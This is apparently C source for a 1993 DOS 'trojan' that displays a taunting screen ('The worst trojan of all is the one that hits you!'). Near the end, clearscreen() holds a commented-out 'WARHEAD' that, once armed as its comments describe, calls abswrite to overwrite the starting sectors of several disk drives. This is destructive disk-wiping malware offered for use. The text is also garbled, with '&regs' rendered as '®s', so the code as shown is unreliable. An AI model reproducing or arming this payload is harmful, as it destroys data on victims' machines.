/*
Gl00M & D00M trojan, 2-'93 ۛ۲?????ĄĄœandoZč
*safe for compiling until 'armed': check the code*
*/
#include <string.h>
#include <conio.h>
#include <dos.h>
void clearscreen(void);
union REGS regs;
int gloom_screen[] = {
0x5DB, 0x5DB, 0x5DB, 0x5DB, 0x5DB, 0x5DB, 0x5DB, 0x5DB,
0x5DB, 0x5DB, 0x520, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2DB, 0x2DB,
0x2DB, 0x2DB, 0x2DB, 0x2DB, 0x2DB, 0x2DB, 0x2DB, 0x2DB,
0x5DB, 0x5DB, 0x5DB, 0x5DB, 0x5DB, 0x5DB, 0x5DB, 0x5DB,
0x5DB, 0x5DB, 0x520, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2DB, 0x2DB,
0x2DB, 0x2DB, 0x2DB, 0x2DB, 0x2DB, 0x2DB, 0x2DB, 0x2DB,
0x5DB, 0x5DB, 0x5DB, 0x5DB, 0x5DB, 0x5DB, 0xDDB, 0xDDB,
0xDDB, 0xDDB, 0xDDB, 0xDDB, 0xDDB, 0xDDB, 0xDDB, 0xDDB,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0xADB, 0xADB, 0xADB, 0xADB, 0xADB, 0xADB, 0xADB,
0xADB, 0xADB, 0xADB, 0xADB, 0x2DB, 0x2DB, 0x2DB, 0x2DB,
0x5DB, 0x5DB, 0x5DB, 0x5DB, 0x5DB, 0x5DB, 0xDDB, 0xDDB,
0xDDB, 0xDDB, 0xDDB, 0xDDB, 0xDDB, 0xDDB, 0xDDB, 0xDDB,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0xADB, 0xADB, 0xADB, 0xADB, 0xADB, 0xADB, 0xADB,
0xADB, 0xADB, 0xADB, 0xADB, 0x2DB, 0x2DB, 0x2DB, 0x2DB,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0xDDB, 0xDDB,
0xDDB, 0xDDB, 0xDDB, 0xCDB, 0xCDB, 0xCDB, 0xCDB, 0xCDB,
0xCDB, 0xCDB, 0xCDB, 0xCDB, 0xCDB, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0xEDB, 0xEDB, 0xEDB, 0xEDB,
0xEDB, 0xEDB, 0xEDB, 0xEDB, 0xEDB, 0xEDB, 0xADB, 0xADB,
0xADB, 0xADB, 0xADB, 0xADB, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0xDDB, 0xDDB,
0xDDB, 0xDDB, 0xDDB, 0xCDB, 0xCDB, 0xCDB, 0xCDB, 0xCDB,
0xCDB, 0xCDB, 0xCDB, 0xCDB, 0xCDB, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0xEDB, 0xEDB, 0xEDB, 0xEDB,
0xEDB, 0xEDB, 0xEDB, 0xEDB, 0xEDB, 0xEDB, 0xADB, 0xADB,
0xADB, 0xADB, 0xADB, 0xADB, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0xCDB, 0xCDB, 0xCDB, 0xCDB, 0xCDB,
0xCDB, 0x4DB, 0x4DB, 0x4DB, 0x4DB, 0x4DB, 0x4DB, 0x4DB,
0x4DB, 0x4DB, 0x4DB, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0xBDB, 0xBDB,
0xBDB, 0xBDB, 0xBDB, 0xBDB, 0xBDB, 0xBDB, 0xBDB, 0xBDB,
0xBDB, 0xEDB, 0xEDB, 0xEDB, 0xEDB, 0xEDB, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0xCDB, 0xCDB, 0xCDB, 0xCDB, 0xCDB,
0xCDB, 0x4DB, 0x4DB, 0x4DB, 0x4DB, 0x4DB, 0x4DB, 0x4DB,
0x4DB, 0x4DB, 0x4DB, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0xBDB, 0xBDB,
0xBDB, 0xBDB, 0xBDB, 0xBDB, 0xBDB, 0xBDB, 0xBDB, 0xBDB,
0xBDB, 0xEDB, 0xEDB, 0xEDB, 0xEDB, 0xEDB, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x4DB, 0x4DB, 0x4DB, 0x4DB, 0x8DB, 0x8DB, 0x8DB,
0x8DB, 0x8DB, 0x8DB, 0x8DB, 0x8DB, 0x8DB, 0x8DB, 0x8DB,
0x8DB, 0x8DB, 0x8DB, 0x8DB, 0x8DB, 0x8DB, 0x8DB, 0x8DB,
0x8DB, 0x8DB, 0x8DB, 0x8DB, 0x8DB, 0x8DB, 0x8DB, 0x8DB,
0x8DB, 0x8DB, 0x8DB, 0x8DB, 0x8DB, 0x8DB, 0x8DB, 0x8DB,
0x8DB, 0x8DB, 0x8DB, 0x8DB, 0xBDB, 0xBDB, 0xBDB, 0xBDB,
0xBDB, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x4DB, 0x4DB, 0x4DB, 0x4DB, 0x8DB, 0x8DB, 0x8DB,
0x8DB, 0x8DB, 0x1DB, 0x1DB, 0x1DB, 0x1DB, 0x1DB, 0x1DB,
0x1DB, 0x1DB, 0x1DB, 0x1DB, 0x1DB, 0x1DB, 0x1DB, 0x1DB,
0x1DB, 0x1DB, 0x1DB, 0x1DB, 0x1DB, 0x1DB, 0x1DB, 0x1DB,
0x1DB, 0x1DB, 0x1DB, 0x1DB, 0x1DB, 0x1DB, 0x8DB, 0x8DB,
0x8DB, 0x8DB, 0x8DB, 0x8DB, 0xBDB, 0xBDB, 0xBDB, 0xBDB,
0xBDB, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x8DB, 0x8DB, 0x8DB,
0x8DB, 0x8DB, 0x1DB, 0x11DB, 0x11DB, 0x11DB, 0x11DB, 0x11DB,
0x11DB, 0x11DB, 0x11DB, 0x11DB, 0x11DB, 0x11DB, 0x11DB, 0x11DB,
0x11DB, 0x11DB, 0x11DB, 0x11DB, 0x11DB, 0x11DB, 0x11DB, 0x11DB,
0x11DB, 0x11DB, 0x11DB, 0x11DB, 0x11DB, 0x1DB, 0x8DB, 0x8DB,
0x8DB, 0x8DB, 0x8DB, 0x8DB, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x8DB, 0x8DB, 0x8DB,
0x8DB, 0x820, 0x1DB, 0x1DB, 0x1F54, 0x1F68, 0x1F65, 0x1F20,
0x1F77, 0x1F6F, 0x1F72, 0x1F73, 0x1F74, 0x1F20, 0x1F74, 0x1F72,
0x1F6F, 0x1F6A, 0x1F61, 0x1F6E, 0x1F20, 0x1F6F, 0x1F66, 0x1F20,
0x1F61, 0x1F6C, 0x1F6C, 0x1DB, 0x1DB, 0x1DB, 0x8DB, 0x8DB,
0x8DB, 0x8DB, 0x8DB, 0x8DB, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x8DB, 0x8DB, 0x8DB,
0x8DB, 0x820, 0x1DB, 0x1F69, 0x1F73, 0x1F20, 0x1F74, 0x1F68,
0x1F65, 0x1F20, 0x1F6F, 0x1F6E, 0x1F65, 0x1F20, 0x1F74, 0x1F68,
0x1F61, 0x1F74, 0x1F20, 0x1F68, 0x1F69, 0x1F74, 0x1F73, 0x1DB,
0x1F79, 0x1F6F, 0x1F75, 0x1F21, 0x1DB, 0x1DB, 0x8DB, 0x8DB,
0x8DB, 0x8DB, 0x8DB, 0x8DB, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x8DB, 0x8DB, 0x8DB,
0x8DB, 0x820, 0x1DB, 0x1DB, 0x1DB, 0x1DB, 0x1DB, 0x1DB,
0x1DB, 0x1DB, 0x1DB, 0x1DB, 0x1DB, 0x1DB, 0x1DB, 0x1DB,
0x1DB, 0x1DB, 0x1DB, 0x1DB, 0x1DB, 0x1DB, 0x1DB, 0x1DB,
0x1DB, 0x1DB, 0x1DB, 0x1DB, 0x1DB, 0x1DB, 0x8DB, 0x8DB,
0x8DB, 0x8DB, 0x8DB, 0x8DB, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x8DB, 0x8DB, 0x8DB,
0x8DB, 0x820, 0x1DB, 0x1DB, 0x1DB, 0x1DB, 0x1DB, 0x1DB,
0x1DB, 0x1DB, 0x1DB, 0x1DB, 0x1DB, 0x1DB, 0x1DB, 0x1DB,
0x1DB, 0x1DB, 0x1DB, 0x1DB, 0x1DB, 0x1DB, 0x1DB, 0x1DB,
0x1DB, 0x1DB, 0x1DB, 0x1DB, 0x1DB, 0x1DB, 0x8DB, 0x8DB,
0x8DB, 0x8DB, 0x8DB, 0x8DB, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x8DB, 0x8DB, 0x8DB,
0x8DB, 0x820, 0x120, 0x120, 0x120, 0x120, 0x120, 0x120,
0x120, 0x120, 0x120, 0x120, 0x120, 0x120, 0x120, 0x120,
0x120, 0x120, 0x120, 0x120, 0x120, 0x120, 0x120, 0x120,
0x120, 0x120, 0x120, 0x120, 0x120, 0x120, 0x8DB, 0x8DB,
0x8DB, 0x8DB, 0x8DB, 0x8DB, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x8DB, 0x8DB, 0x8DB,
0x8DB, 0x8DB, 0x8DB, 0x8DB, 0x8DB, 0x8DB, 0x8DB, 0x8DB,
0x8DB, 0x8DB, 0x8DB, 0x8DB, 0x8DB, 0x8DB, 0x8DB, 0x8DB,
0x8DB, 0x8DB, 0x8DB, 0x8DB, 0x8DB, 0x8DB, 0x8DB, 0x8DB,
0x8DB, 0x8DB, 0x8DB, 0x8DB, 0x8DB, 0x8DB, 0x8DB, 0x8DB,
0x8DB, 0x8DB, 0x8DB, 0x8DB, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x8EDB, 0x8EDB, 0x8EDB, 0x8EDB, 0x8EDB, 0x8EDB, 0x8EDB,
0x8EDB, 0x8EDB, 0x8EDB, 0x8EDB, 0x8EDB, 0x8EDB, 0x8EDB, 0x8EDB,
0x8EDB, 0x8EDB, 0x8EDB, 0x8EDB, 0x8EDB, 0x8EDB, 0x8EDB, 0x8EDB,
0x8EDB, 0x8EDB, 0x8EDB, 0x8EDB, 0x8EDB, 0x8EDB, 0x8EDB, 0x8EDB,
0x8EDB, 0x8EDB, 0x8EDB, 0x8EDB, 0x8EDB, 0x8EDB, 0x8EDB, 0x8EDB,
0x8EDB, 0x8EDB, 0x8EDB, 0x8EDB, 0x8EDB, 0x8EDB, 0x8EDB, 0x8EDB,
0x8EDB, 0x8EDB, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x8ADB, 0x8ADB, 0x8ADB,
0x8ADB, 0x8ADB, 0x8ADB, 0x8ADB, 0x8ADB, 0x3FDA, 0x30C4, 0x30C4,
0x30C4, 0x30C4, 0x30C4, 0x30C4, 0x30C4, 0x30C4, 0x30C4, 0x30C4,
0x30C4, 0x30C4, 0x30C4, 0x30C4, 0x30C4, 0x30C4, 0x30C4, 0x30C4,
0x30C4, 0x30C4, 0x30C4, 0x30C4, 0x30C4, 0x30C4, 0x30C4, 0x30C4,
0x30C4, 0x30C4, 0x30C4, 0x30C4, 0x30C4, 0x30C4, 0x30C4, 0x30C4,
0x30C4, 0x30C4, 0x30C4, 0x30BF, 0x8ADB, 0x8ADB, 0x8ADB, 0x8ADB,
0x8ADB, 0x8ADB, 0x8ADB, 0x8ADB, 0x8ADB, 0x8ADB, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x8BDB, 0x8BDB, 0x8BDB, 0x8BDB, 0x8BDB, 0x8BDB, 0x8BDB,
0x8BDB, 0x8BDB, 0x8BDB, 0x8BDB, 0x8BDB, 0x3FB3, 0x3DB, 0x3DB,
0x3DB, 0x3DB, 0x3DB, 0x3DB, 0x3DB, 0x3DB, 0x3DB, 0x3DB,
0x3DB, 0x3DB, 0x3DB, 0x3DB, 0x3DB, 0x3DB, 0x3DB, 0x3DB,
0x3DB, 0x3DB, 0x3DB, 0x3DB, 0x3DB, 0x3DB, 0x3DB, 0x3DB,
0x3DB, 0x3DB, 0x3DB, 0x3DB, 0x3DB, 0x3DB, 0x3DB, 0x3DB,
0x3DB, 0x3DB, 0x3DB, 0x30B3, 0x8BDB, 0x8BDB, 0x8BDB, 0x8BDB,
0x8BDB, 0x8BDB, 0x8BDB, 0x8BDB, 0x8BDB, 0x8BDB, 0x8BDB, 0x8BDB,
0x8BDB, 0x8BDB, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x89DB, 0x89DB, 0x89DB,
0x89DB, 0x89DB, 0x89DB, 0x89DB, 0x89DB, 0x89DB, 0x89DB, 0x89DB,
0x89DB, 0x89DB, 0x89DB, 0x89DB, 0x89DB, 0x3FB3, 0x3DB, 0x3DB,
0x3DB, 0x3E20, 0x3E20, 0x3E20, 0x3E20, 0x3E20, 0x3E20, 0x3E44,
0x3E6F, 0x3E6F, 0x3E6D, 0x3E20, 0x3E26, 0x3E20, 0x3E47, 0x3E6C,
0x3E6F, 0x3E6F, 0x3E6D, 0x3E20, 0x3E74, 0x3E69, 0x3E6D, 0x3E65,
0x3E2E, 0x3DB, 0x3DB, 0x3DB, 0x3DB, 0x3DB, 0x3DB, 0x3DB,
0x3DB, 0x3DB, 0x3DB, 0x30B3, 0x89DB, 0x89DB, 0x89DB, 0x89DB,
0x89DB, 0x89DB, 0x89DB, 0x89DB, 0x89DB, 0x89DB, 0x89DB, 0x89DB,
0x89DB, 0x89DB, 0x89DB, 0x89DB, 0x89DB, 0x89DB, 0x89DB, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x81DB, 0x81DB, 0x81DB, 0x81DB, 0x81DB, 0x81DB, 0x81DB, 0x81DB,
0x81DB, 0x81DB, 0x81DB, 0x81DB, 0x81DB, 0x3FB3, 0x3DB, 0x3DB,
0x3DB, 0x3DB, 0x3DB, 0x3DB, 0x3DB, 0x3DB, 0x3DB, 0x3DB,
0x3DB, 0x3DB, 0x3DB, 0x3DB, 0x3DB, 0x3DB, 0x3DB, 0x3DB,
0x3DB, 0x3DB, 0x3DB, 0x3DB, 0x3DB, 0x3DB, 0x3DB, 0x3DB,
0x3DB, 0x3DB, 0x3DB, 0x3DB, 0x3DB, 0x3DB, 0x3DB, 0x3DB,
0x3DB, 0x3DB, 0x3DB, 0x30B3, 0x81DB, 0x81DB, 0x81DB, 0x81DB,
0x81DB, 0x81DB, 0x81DB, 0x81DB, 0x81DB, 0x81DB, 0x81DB, 0x81DB,
0x81DB, 0x81DB, 0x81DB, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x8DDB, 0x8DDB, 0x8DDB,
0x8DDB, 0x8DDB, 0x8DDB, 0x8DDB, 0x8DDB, 0x3FC0, 0x3FC4, 0x3FC4,
0x3FC4, 0x3FC4, 0x3FC4, 0x3FC4, 0x3FC4, 0x3FC4, 0x3FC4, 0x3FC4,
0x3FC4, 0x3FC4, 0x3FC4, 0x3FC4, 0x3FC4, 0x3FC4, 0x3FC4, 0x3FC4,
0x3FC4, 0x3FC4, 0x3FC4, 0x3FC4, 0x3FC4, 0x3FC4, 0x3FC4, 0x3FC4,
0x3FC4, 0x3FC4, 0x3FC4, 0x3FC4, 0x3FC4, 0x3FC4, 0x3FC4, 0x3FC4,
0x3FC4, 0x3FC4, 0x3FC4, 0x30D9, 0x8DDB, 0x8DDB, 0x8DDB, 0x8DDB,
0x8DDB, 0x8DDB, 0x8DDB, 0x8DDB, 0x8DDB, 0x8DDB, 0x8DDB, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x85DB, 0x85DB, 0x85DB, 0x85DB, 0x85DB, 0x85DB, 0x85DB, 0x85DB,
0x85DB, 0x85DB, 0x85DB, 0x85DB, 0x85DB, 0x85DB, 0x85DB, 0x85DB,
0x85DB, 0x85DB, 0x85DB, 0x85DB, 0x85DB, 0x85DB, 0x85DB, 0x85DB,
0x85DB, 0x85DB, 0x85DB, 0x85DB, 0x85DB, 0x85DB, 0x85DB, 0x85DB,
0x85DB, 0x85DB, 0x85DB, 0x85DB, 0x85DB, 0x85DB, 0x85DB, 0x85DB,
0x85DB, 0x85DB, 0x85DB, 0x85DB, 0x85DB, 0x85DB, 0x85DB, 0x85DB,
0x85DB, 0x85DB, 0x85DB, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20};
main()
{
int scnBuf;
regs.h.ah = 15;
int86(16,®s,®s); /* get the video mode... */
if(regs.h.al == 7)
scnBuf = 0xB000; /* if the jerk has mono, kill him too */
else
scnBuf = 0xB800; /* color */
clearscreen();
movedata(FP_SEG(gloom_screen),FP_OFF(gloom_screen),scnBuf,0,sizeof(gloom_screen));
getch();
clearscreen();
}
/* clears the screen */
void clearscreen(void)
{
regs.h.ah = 6;
regs.h.al = 0;
regs.h.bh = 7;
regs.h.ch = 0;
regs.h.cl = 0;
regs.h.dh = 25;
regs.h.dl = 80;
int86(16,®s,®s);
/* this is the WARHEAD; keep the comments till you need to arm it, of course. */
/* this really clears the screen and every other god damn thing*/
/* chunks of "virmin" code, ha ha! */
/* char *vir; */
/* int i; */
/* strcpy(vir,""); */
/* for (i=0; i<40; i++) */
/* strcat(vir,"MicroSoft 1993"); */
/* abswrite(2,50,0,vir); */
/* abswrite(3,50,0,vir); */
/* abswrite(4,50,0,vir); */
/* abswrite(5,50,0,vir); */
/* printf("MicroSoft Corp."); */
/*}; */
}